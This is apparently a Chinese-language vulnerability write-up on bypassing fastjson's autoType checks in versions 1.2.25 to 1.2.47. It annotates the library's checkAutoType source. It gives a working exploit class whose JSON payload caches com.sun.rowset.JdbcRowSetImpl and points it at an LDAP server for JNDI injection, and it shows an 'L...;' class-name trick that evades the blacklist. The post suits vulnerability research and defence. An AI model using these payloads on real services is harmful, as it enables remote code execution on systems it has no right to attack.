0x01 前言

上篇文章主要总结了fastjson在1.2.24版本的漏洞利用,在后续的版本中,fastjson做了一个漏洞的修复,导致原先的payload用不了了。本篇文章主要分析fastjson<=1.2.47版本下的绕过,重点分析在不开启AutoTypeSupport下的漏洞利用。

0x02 fastjson在1.2.25版本的修复

我们可以先尝试打一下原来的payload

报错了,提示反序列化的类不支持,看一下它的源码是怎么修复的。

checkAutoType

这里由原来的loadClass替换为checkAutoType函数,其实其他地方都大差不差,都是在这个checkAutoType函数中做了检测和限制。在后续高版本fastjson的修复也都是在这个函数中做进一步的优化。重点来分析一下checkAutoType函数内部的代码逻辑,直接看注释。

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) { //也就是@type对应的键值,要反序列化的类,当然它是不为null
return null;
}

final String className = typeName.replace('$', '.');//将内部类的$替换为. 这行代码不重要
//expectClass是期望类,默认也是为空的,所以默认代码逻辑是不会走到这个if里的
if (autoTypeSupport || expectClass != null) { //autoTypeSupport布尔型,默认为false
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) { //遍历白名单,如何匹配到了就类加载
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) { //遍历黑名单,如果匹配到了就抛出异常
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//上面if条件都不满足,所以会走到这里
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//从缓存里面找 这个类是否在缓存里
if (clazz == null) {
clazz = deserializers.findClass(typeName);//如果没有,就继续在反序列化器里找
}
//继续走到这里
if (clazz != null) { //如果在上面的缓存里找到了,做一个简单的判断
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;//不满足if,返回类
}
//继续往下
if (!autoTypeSupport) { //autoTypeSupport默认为空,进入到这个if分支
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
} //黑名单检测到抛出异常,也就是之前payload打不通,报出的异常错误
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) { //在白名单里 loadClass加载类
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//只要开启了autoTypeSupport,就会走到这里进行类加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {
//检测是否为这几个类的子类,抛出异常,后面不重要,不说了
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}
}

这个函数加了黑白名单做限制,白名单默认为空,黑名单里的类写死了改不了。

有很多,里面也包含了com.sun包下的漏洞类。当然,黑白名单这里我们是没法绕过去的,那么就找一下有什么特殊情况可以返回我们反序列化的恶意类。

寻找利用点

在我们对checkAutoType函数逻辑分析的时候,有这么一段代码:

它会从mapping缓存和反序列化器里面找有没有与之对应的类,然后返回我们的类。如果我们可以将恶意的类放进缓存中,它直接从缓存里拿并反序列化,就绕过了所谓的安全限制。这也就是接下来主要分析的1.2.47版本之前的绕过手法。

如果开启了,或者说我们能够开启autoTypeSupport开关,

直接可以loadClass,那就简单多了,本篇文章不主要讲。

0x03 fastjson<=1.2.47绕过方法分析

跟进到getClassFromMapping方法

TypeUtils.loadClass

mappings继承了HashMap,查找用法看看有哪些地方可以put进去我们的恶意类。可以利用的地方在TypeUtils类的loadClass方法里。

classLoader默认为null,自然会走到这个if里面,如果className赋值为我们的恶意类,就可以放到缓存里面了。继续查找方法看看什么地方调用了TypeUtils的loadClass方法。

MiscCodec.deserialze

在MiscCodec类的deserialze方法里

如果clazz是Class类型的话,就调用这个loadClass方法,先看看MiscCodec是个什么东西

很明显,它是一个反序列化器。那什么情况下调用该反序列化器的deserialze方法呢?在DefaultJSONParser类中有这样一段逻辑:

其实checkAutoType函数检测返回类后是会走到这里来的,它从config中,也就是ParserConfig类中获取反序列化器,然后从获取来的反序列化器反序列化我们的类。

可以看一下deserializers的默认配置

有很多,指定的类对应不同的反序列化器,这里Class类型的类也是默认用MiscCodec反序列化器,那么就与上文调用loadClass的那个if判断对接上了。还有一个细小的代码段:

检测传入的JSON串的键值是否为val,如果不为val,就抛出异常,这点在写payload的时候要注意。

思路整理与利用

目的是为了让我们的恶意类放入缓存中,可以提前反序列化一个java.lang.Class类,添加val属性,属性值为执行的恶意类,它会走到TypeUtils的loadClass方法中,将恶意类添加到缓存中,然后反序列化我们的恶意类,它会直接从缓存里拿,从而绕过安全检测。

java.lang.Class-->MiscCodec.deserialze-->TypeUtils.loadClass-->mappings.put
com.sun.rowset.JdbcRowSetImpl-->checkAutoType-->mappings.get-->反序列化执行恶意代码

编写exp:

package fastjson.test3;

import com.alibaba.fastjson.JSON;

public class fastjsonbypass1 {
public static void main(String [] args){
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/yQxERbdt\",\"autoCommit\":\"false\"}}";
JSON.parseObject(s);
}
}

运行代码

调试与分析

可以调试看一下,只看关键部分

进入到checkAutoType函数,此时的typeName是java.lang.Class

这个类可以直接从缓存里面找到,然后直接返回类

然后就到了最下面,根据typeName去查找对应的反序列化器,这里我们可以看到反序列化器类是MiscCodec类,接下来就是调用它的deserialize函数

此时满足这个if条件,去调用loadClass,strVal已经赋值为我们的恶意类了

可以看到mappings里面已经有我们的恶意类了,然后到了下一轮,开始反序列化第二个@type,也就是恶意类

在这个安全函数里,typeName已经换成了com.sun.rowset.JdbcRowSetImpl

缓存里面有,直接拿了,没有走到黑白名单检测那里,直接返回。后续就正常反序列化执行恶意代码了,不再看了。这种绕过手法在fastjson的1.2.25到1.2.47版本下都是能用的。

简单说说开启AutoTypeSupport的利用

上面总结的在缓存里放恶意类的利用手法前提是不开启这个开关,当然默认也是不开启的。那么如果开启了,回看上面的代码,其实更简单了

直接loadClass了,当然前面需要经过黑名单的检测,那么问题就变成了如何绕过黑名单了。本次用的fastjson版本是1.2.25,就拿这个版本分析一下。看一下loadClass函数

重点是这段代码,检测反序列化的类开头是否是L,结尾是否是分号。如果是,就去掉,再进行loadClass,一个递归操作。如果修改恶意类是这样子

Lcom.sun.rowset.JdbcRowSetImpl;

就可以绕过黑名单,另外在检测到L和分号的时候去空,就可以正常的反序列化了。

后续版本可能做了修复,但是在开启AutoTypeSupport的前提下,还是有办法绕过黑名单。可以参考以下文章:

Java反序列化Fastjson篇03-Fastjson各版本绕过分析

0x04 小结

本篇文章主要分析了fastjson在1.2.25到1.2.47版本下的漏洞利用,后续在更高版本的fastjson,这个利用手法也是打不通的,在后续的时间里,我会继续分析更高版本,例如1.2.68的反序列化漏洞利用。

反序列化之路任重而道远